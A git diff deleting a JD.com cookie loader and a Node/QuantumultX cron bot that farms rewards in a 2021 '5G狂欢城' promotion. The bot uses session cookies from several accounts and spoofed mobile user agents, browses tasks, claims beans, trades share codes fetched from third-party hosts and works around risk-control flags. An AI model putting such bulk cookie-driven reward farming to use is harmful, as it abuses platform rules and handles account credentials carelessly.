diff --git a/activity/jdCookie.js b/activity/jdCookie.js deleted file mode 100644 index c828d0a..0000000 --- a/activity/jdCookie.js +++ /dev/null @@ -1,34 +0,0 @@ -/* -此文件为Node.js专用。其他用户请忽略 - */ -//此处填写京东账号cookie。 -let CookieJDs = [ - '',//账号一ck,例:pt_key=XXX;pt_pin=XXX; - '',//账号二ck,例:pt_key=XXX;pt_pin=XXX;如有更多,依次类推 -] -// 判断环境变量里面是否有京东ck -if (process.env.JD_COOKIE) { - if (process.env.JD_COOKIE.indexOf('&') > -1) { - CookieJDs = process.env.JD_COOKIE.split('&'); - } else if (process.env.JD_COOKIE.indexOf('\n') > -1) { - CookieJDs = process.env.JD_COOKIE.split('\n'); - } else { - CookieJDs = [process.env.JD_COOKIE]; - } -} -if (JSON.stringify(process.env).indexOf('GITHUB')>-1) { - console.log(`请勿使用github action运行此脚本,无论你是从你自己的私库还是其他哪里拉取的源代码,都会导致我被封号\n`); - !(async () => { - await require('./sendNotify').sendNotify('提醒', `请勿使用github action、滥用github资源会封我仓库以及账号`) - await process.exit(0); - })() -} -CookieJDs = [...new Set(CookieJDs.filter(item => !!item))] -console.log(`\n====================共${CookieJDs.length}个京东账号Cookie=========\n`); -console.log(`==================脚本执行- 北京时间(UTC+8):${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()}=====================\n`) -if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -for (let i = 0; i < CookieJDs.length; i++) { - if (!CookieJDs[i].match(/pt_pin=(.+?);/) || !CookieJDs[i].match(/pt_key=(.+?);/)) console.log(`\n提示:京东cookie 【${CookieJDs[i]}】填写不规范,可能会影响部分脚本正常使用。正确格式为: pt_key=xxx;pt_pin=xxx;(分号;不可少)\n`); - const index = (i + 1 === 1) ? '' : (i + 1); - exports['CookieJD' + index] = CookieJDs[i].trim(); -} diff --git a/activity/jd_5g.js b/activity/jd_5g.js deleted file mode 100644 index 90a31a0..0000000 --- a/activity/jd_5g.js +++ /dev/null @@ -1,767 +0,0 @@ -/* -5G狂欢城 -活动时间: 2021-1-30至2021-2-4 -活动入口:暂无 -活动地址:https://rdcseason.m.jd.com/ -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#5G狂欢城 -0 0,6,12,18 * * * jd_5g.js, tag=5G狂欢城, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "0 0,6,12,18 * * *" script-path=jd_5g.js, tag=5G狂欢城 - -===============Surge================= -5G狂欢城 = type=cron,cronexp="0 0,6,12,18 * * *",wake-system=1,timeout=3600,script-path=jd_5g.js - -============小火箭========= -5G狂欢城 = type=cron,script-path=jd_5g.js, cronexpr="0 0,6,12,18 * * *", timeout=3600, enable=true - */ -const $ = new Env('5G狂欢城'); - -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://rdcseason.m.jd.com/api/'; -const inviteCodes = [ - '', - '' -]; -!(async () => { - await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await shareCodesFormat(); - await jdFive() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdFive() { - try { - $.beans = 0 - $.score = 0 - $.risk = false - await getToday() - if($.risk){ - message += '活动太火爆了,快去买买买吧\n' - await showMsg() - return - } - await getHelp() - console.log(`去浏览会场`) - await getMeetingList() - console.log(`去浏览商品`) - await getGoodList() - console.log(`去浏览店铺`) - await getShopList() - await $.wait(10000); - console.log(`去浏览会场`) - await getMeetingList() - console.log(`去浏览商品`) - await getGoodList() - console.log(`去浏览店铺`) - await getShopList() - console.log(`去帮助好友`) - await helpFriends() - await myRank();//领取往期排名奖励 - await getActInfo() - await showMsg() - } catch (e) { - $.logErr(e) - } -} - -async function helpFriends() { - for (let code of $.newShareCodes) { - if (!code) continue - await doHelp(code) - await $.wait(2000) - } -} - -function showMsg() { - return new Promise(resolve => { - message += `本次运行获得${$.beans}京豆,${$.score}积分` - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} - -function doHelp(id) { - return new Promise((resolve) => { - $.post(taskPostUrl('task/toHelp', `shareId=${id}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['code'] === 200) { - console.log(`助力结果:${JSON.stringify(data)}`); - } else { - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function getToday() { - return new Promise((resolve) => { - $.post(taskPostUrl('task/getPresetJingTie', "presentAmt=20"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['code'] === 200) { - console.log(data.data.rsMsg) - } else { - console.log(data.msg) - if(data.code===1002){ - $.risk = true - } - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function getActInfo() { - return new Promise((resolve) => { - $.get(taskUrl('task/findJingTie', ), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['code'] === 200) { - message += `用户当前积分:${data.data.integralNum}\n` - console.log(`用户当前积分:${data.data.integralNum}`) - } else { - console.log(JSON.stringify(data)) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function getMeetingList() { - return new Promise((resolve) => { - $.get(taskUrl('task/listMeeting'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['code'] === 200) { - for(let vo of data.data.meetingList){ - await browseMeeting(vo['id']) - await getMeetingPrize(vo['id']) - } - } else { - console.log(JSON.stringify(data)) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function browseMeeting(id) { - return new Promise((resolve) => { - $.post(taskPostUrl('task/browseMeeting', `meetingId=${id}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['code'] === 200) { - console.log(data.msg) - } else { - console.log(JSON.stringify(data)) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function getMeetingPrize(id) { - return new Promise((resolve) => { - $.post(taskPostUrl('task/getMeetingPrize', `meetingId=${id}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['code'] === 200) { - $.beans += parseInt(data.data.jdNum) - $.score += parseInt(data.data.integralNum) - console.log(`获得${data.data.jdNum}京豆,${data.data.integralNum}积分`) - } else { - console.log(JSON.stringify(data)) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function getGoodList() { - return new Promise((resolve) => { - $.get(taskUrl('task/listGoods'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['code'] === 200) { - for(let vo of data.data.goodsList){ - await browseGood(vo['id']) - await getGoodPrize(vo['id']) - } - } else { - console.log(JSON.stringify(data)) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function browseGood(id) { - return new Promise((resolve) => { - $.get(taskUrl('task/browseGoods', `skuId=${id}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['code'] === 200) { - console.log(data.msg) - } else { - console.log(JSON.stringify(data)) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function getGoodPrize(id) { - return new Promise((resolve) => { - $.get(taskUrl('task/getGoodsPrize', `skuId=${id}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['code'] === 200) { - $.beans += parseInt(data.data.jdNum) - $.score += parseInt(data.data.integralNum) - console.log(`获得${data.data.jdNum}京豆,${data.data.integralNum}积分`) - } else { - console.log(JSON.stringify(data)) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function getShopList() { - return new Promise((resolve) => { - $.get(taskUrl('task/shopInfo'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['code'] === 200) { - for(let vo of data.data){ - await browseShop(vo['shopId']) - await getShopPrize(vo['shopId']) - } - } else { - console.log(JSON.stringify(data)) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function browseShop(id) { - return new Promise((resolve) => { - $.post(taskPostUrl('task/browseShop', `shopId=${id}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['code'] === 200) { - console.log(data.msg) - } else { - console.log(JSON.stringify(data)) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function getShopPrize(id) { - return new Promise((resolve) => { - $.post(taskPostUrl('task/getShopPrize', `shopId=${id}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['code'] === 200) { - $.beans += parseInt(data.data.jdNum) - $.score += parseInt(data.data.integralNum) - console.log(`获得${data.data.jdNum}京豆,${data.data.integralNum}积分`) - } else { - console.log(JSON.stringify(data)) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function getHelp() { - return new Promise((resolve) => { - $.get(taskUrl('task/getHelp'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['code'] === 200) { - console.log(`您的好友助力码为:${data.data.shareId} \n注:此邀请码每天都变!`); - } else { - console.log(JSON.stringify(data)) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function myRank() { - return new Promise(resolve => { - const options = { - "url": `${JD_API_HOST}task/myRank?t=${Date.now()}`, - "headers": { - "Host": "rdcseason.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://rdcseason.m.jd.com/", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.jbeanNum = ''; - $.get(options, async (err, resp, data) => { - try { - // console.log('查询获奖列表data', data); - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200 && data.data.myHis) { - for (let i = 0; i < data.data.myHis.length; i++) { - $.date = data.data.myHis[0].date; - if (data.data.myHis[i].status === '21') { - await $.wait(1000); - console.log('开始领奖') - let res = await saveJbean(data.data.myHis[i].id); - // console.log('领奖结果', res) - if (res.code === 200 && res.data.rsCode === 200) { - // $.jbeanNum += Number(res.data.jbeanNum); - console.log(`${data.data.myHis[i].date}日奖励领取成功${JSON.stringify(res.data.jbeanNum)}`) - } - } - if (i === 0 && data.data.myHis[i].status === '22') { - $.jbeanNum = data.data.myHis[i].prize; - } - } - // for (let item of data.data.myHis){ - // if (item.status === '21') { - // await $.wait(1000); - // console.log('开始领奖') - // let res = await saveJbean(item.id); - // // console.log('领奖结果', res) - // if (res.code === 200 && res.data.rsCode === 200) { - // $.jbeanNum += Number(res.data.jbeanNum); - // } - // } - // } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function saveJbean(id) { - return new Promise(resolve => { - const options = { - "url": `${JD_API_HOST}task/saveJbean`, - "body": `prizeId=${id}`, - "headers": { - "Host": "rdcseason.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://rdcseason.m.jd.com/", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.post(options, (err, resp, data) => { - try { - // console.log('领取京豆结果', data); - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({ - url: `http://jd.turinglabs.net/api/v2/jd/5g/read/${randomCount}/`, - 'timeout': 10000 - }, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(2000); - resolve() - }) -} - -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex].split('@'); - } - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} - -function requireConfig() { - return new Promise(async resolve => { - - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - let shareCodes = [] - console.log(`共${cookiesArr.length}个京东账号\n`); - if ($.isNode() && process.env.JD818_SHARECODES) { - if (process.env.JD818_SHARECODES.indexOf('\n') > -1) { - shareCodes = process.env.JD818_SHARECODES.split('\n'); - } else { - shareCodes = process.env.JD818_SHARECODES.split('&'); - } - } - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - let data = await updateShareCodes("https://gitee.com/shylocks/updateTeam/raw/main/jd_818.json") - if(data){ - inviteCodes[0] = data.join('@') - inviteCodes[1] = data.join('@') - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} - -function taskUrl(function_id,body) { - let url = `${JD_API_HOST}${function_id}?t=${new Date().getTime()}&${body}`; - return { - url, - headers: { - "Cookie": cookie, - "origin": "https://rdcseason.m.jd.com", - "referer": "https://rdcseason.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" - } - } -} - -function taskPostUrl(function_id, body = "") { - let url = `${JD_API_HOST}${function_id}`; - return { - url, - body: body, - headers: { - "Cookie": cookie, - "origin": "https://rdcseason.m.jd.com", - "referer": "https://rdcseason.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" - } - } -} - -function taskPostUrl2(function_id, body = {}, function_id2) { - let url = `${JD_API_HOST}`; - if (function_id2) { - url += `?functionId=${function_id2}`; - } - return { - url, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -function updateShareCodes(url = 'https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_818.json') { - return new Promise(resolve => { - $.get({url, - headers:{"User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")} - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - } else { - resolve(JSON.parse(data)) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 